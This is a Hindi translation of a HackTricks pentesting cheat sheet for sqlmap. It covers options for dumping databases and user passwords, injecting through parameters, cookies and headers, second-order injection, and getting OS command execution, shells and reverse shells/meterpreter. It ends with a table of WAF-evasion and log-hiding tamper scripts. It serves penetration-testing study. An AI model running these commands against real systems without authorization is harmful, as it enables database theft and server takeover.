hacktricks/pentesting-web/sql-injection/sqlmap.md

15 KiB

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

SQLmap के लिए मूल तर्क

सामान्य

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

जानकारी प्राप्त करें

आंतरिक

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

डीबी डेटा

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

इंजेक्शन स्थान

Burp/ZAP कैप्चर से

रिक्वेस्ट को कैप्चर करें और एक req.txt फाइल बनाएं

sqlmap -r req.txt --current-user

GET अनुरोध इंजेक्शन

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST अनुरोध इंजेक्शन

sqlmap -u "http://example.com" --data "username=*&password=*"

हेडर्स और अन्य HTTP मेथड्स में इंजेक्शन

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

द्वितीयक्रम इंजेक्शन

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

शेल

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap के साथ वेबसाइट को क्रॉल करें और स्वत: शोषण करें

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

इंजेक्शन को अनुकूलित करना

एक सफ़िक्स सेट करें

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

प्रीफिक्स

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

बूलियन इंजेक्शन खोजने में मदद

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

टैम्पर

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper विवरण
apostrophemask.py अपोस्ट्रोफी चरित्र को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है
apostrophenullencode.py अपोस्ट्रोफी चरित्र को इसके अवैध दोहरे यूनिकोड समकक्ष के साथ बदलता है
appendnullbyte.py पेलोड के अंत में एन्कोडेड NULL बाइट चरित्र जोड़ता है
base64encode.py दिए गए पेलोड में सभी चरित्रों को Base64 में बदलता है
between.py ऑपरेटर '&gt;' को 'NOT BETWEEN 0 AND #' के साथ बदलता है
bluecoat.py SQL स्टेटमेंट के बाद स्पेस चरित्र को एक मान्य यादृच्छिक खाली चरित्र के साथ बदलता है। उसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है
chardoubleencode.py दिए गए पेलोड में सभी चरित्रों को दोहरा url-encode करता है पहले से एन्कोडेड नहीं करता
commalesslimit.py 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है
commalessmid.py 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है
concat2concatws.py 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है
charencode.py दिए गए पेलोड में सभी चरित्रों को url-encode करता है पहले से एन्कोडेड नहीं करता
charunicodeencode.py दिए गए पेलोड में नॉन-एन्कोडेड चरित्रों को Unicode-url-encode करता है पहले से एन्कोडेड नहीं करता. "%u0022"
charunicodeescape.py दिए गए पेलोड में नॉन-एन्कोडेड चरित्रों को Unicode-url-encode करता है पहले से एन्कोडेड नहीं करता. "\u0022"
equaltolike.py ऑपरेटर बराबर '=' के सभी अवसरों को 'LIKE' ऑपरेटर के साथ बदलता है
escapequotes.py कोट्स ' और " को स्लैश एस्केप करता है
greatest.py ऑपरेटर '&gt;' को 'GREATEST' समकक्ष के साथ बदलता है
halfversionedmorekeywords.py प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है
ifnull2ifisnull.py 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है
modsecurityversioned.py पूरी क्वेरी को संस्करणित टिप्पणी के साथ घेरता है
modsecurityzeroversioned.py पूरी क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है
multiplespaces.py SQL कीवर्ड्स के आसपास कई स्पेस जोड़ता है
nonrecursivereplacement.py पूर्वनिर्धारित SQL कीवर्ड्स को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्वों के साथ बदलता है (उदा. .replace("SELECT", "")) फिल्टर्स
percentage.py प्रत्येक चरित्र के सामने प्रतिशत चिह्न '%' जोड़ता है
overlongutf8.py दिए गए पेलोड में सभी चरित्रों को बदलता है पहले से एन्कोडेड नहीं करता
randomcase.py प्रत्येक कीवर्ड चरित्र को यादृच्छिक मामले मूल्य के साथ बदलता है
randomcomments.py SQL कीवर्ड्स में यादृच्छिक टिप्पणियाँ जोड़ता है
securesphere.py विशेष निर्मित स्ट्रिंग जोड़ता है
sp_password.py पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग्स से स्वतः छिपाव हो सके
space2comment.py स्पेस चरित्र ' ' को टिप्पणियों के साथ बदलता है
space2dash.py स्पेस चरित्र ' ' को डैश टिप्पणी '--' के साथ बदलता है जिसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति '\n' होती है
space2hash.py स्पेस चरित्र ' ' को पाउंड चरित्र '\#' के साथ बदलता है जिसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति '\n' होती है
space2morehash.py स्पेस चरित्र ' ' को पाउंड चरित्र '\#' के साथ बदलता है जिसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति '\n' होती है
space2mssqlblank.py स्पेस चरित्र ' ' को वैकल्पिक चरित्रों के एक मान्य सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
space2mssqlhash.py स्पेस चरित्र ' ' को पाउंड चरित्र '\#' के साथ बदलता है जिसके बाद एक नई पंक्ति '\n' होती है
space2mysqlblank.py स्पेस चरित्र ' ' को वैकल्पिक चरित्रों के एक मान्य सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
space2mysqldash.py स्पेस चरित्र ' ' को डैश टिप्पणी '--' के साथ बदलता है जिसके बाद एक नई पंक्ति '\n' होती है
space2plus.py स्पेस चरित्र ' ' को प्लस '+' के साथ बदलता है
space2randomblank.py स्पेस चरित्र ' ' को वैकल्पिक चरित्रों के एक मान्य सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
symboliclogical.py AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्षों (&& और | के साथ बदलता है
unionalltounion.py UNION ALL SELECT को UNION SELECT के साथ बदलता है
unmagicquotes.py कोट चरित्र ' को मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है साथ ही सामान्य टिप्पणी अंत में जोड़ता है ताकि यह काम करे
uppercase.py प्रत्येक कीवर्ड चरित्र को ऊपरी मामले मूल्य 'INSERT' के साथ बदलता है
varnish.py HTTP हेडर 'X-originating-IP' जोड़ता है
versionedkeywords.py प्रत्येक नॉन-फंक्शन कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है
versionedmorekeywords.py प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है
xforwardedfor.py नकली HTTP हेडर 'X-Forwarded-For' जोड़ता है
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: